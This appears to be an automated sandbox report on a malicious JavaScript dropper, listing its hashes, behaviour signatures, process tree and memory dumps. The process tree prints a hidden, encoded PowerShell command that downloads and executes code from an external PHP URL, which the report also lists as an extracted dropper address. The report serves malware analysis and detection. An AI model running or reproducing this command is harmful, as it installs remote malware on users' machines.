Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/12/2023, 20:26

General

  • Target

    details_5908.js

  • Size

    1.2MB

  • MD5

    48c366cf36c7a7cc6f77e8a9266bb816

  • SHA1

    1adfe7aa82799537246ac169332da05cab1f04bd

  • SHA256

    7559493fd22c60217b62790fa4576988396967b597cade92f288ef39335bee3b

  • SHA512

    d463272bc5842ab6b9d6eeea24bafbd97dcb6704a5be898cf3d812b4e8e8cd7c20b200c18e7f64c01d05e39227d5f7b7f0c6b7020c6d652fb5fe8ad36fe19f90

  • SSDEEP

    24576:SF718rE+jIbt7Q+GyqhIOqoQgNzOjPJGQCZPW2MyiQV:SF18Q+jW7Q9ykf9JOjPJGLW3QV

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://netvalleykenya.com/crm.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\details_5908.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbgBlAHQAdgBhAGwAbABlAHkAawBlAG4AeQBhAC4AYwBvAG0ALwBjAHIAbQAuAHAAaABwACIAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbgBlAHQAdgBhAGwAbABlAHkAawBlAG4AeQBhAC4AYwBvAG0ALwBjAHIAbQAuAHAAaABwACIAKQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4004

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5fjtspid.gtm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4004-10-0x00000203B0120000-0x00000203B0142000-memory.dmp

    Filesize

    136KB

  • memory/4004-11-0x00007FF8776C0000-0x00007FF878181000-memory.dmp

    Filesize

    10.8MB

  • memory/4004-12-0x00000203AE000000-0x00000203AE010000-memory.dmp

    Filesize

    64KB

  • memory/4004-13-0x00000203AE000000-0x00000203AE010000-memory.dmp

    Filesize

    64KB

  • memory/4004-14-0x00000203AE000000-0x00000203AE010000-memory.dmp

    Filesize

    64KB

  • memory/4004-17-0x00007FF8776C0000-0x00007FF878181000-memory.dmp

    Filesize

    10.8MB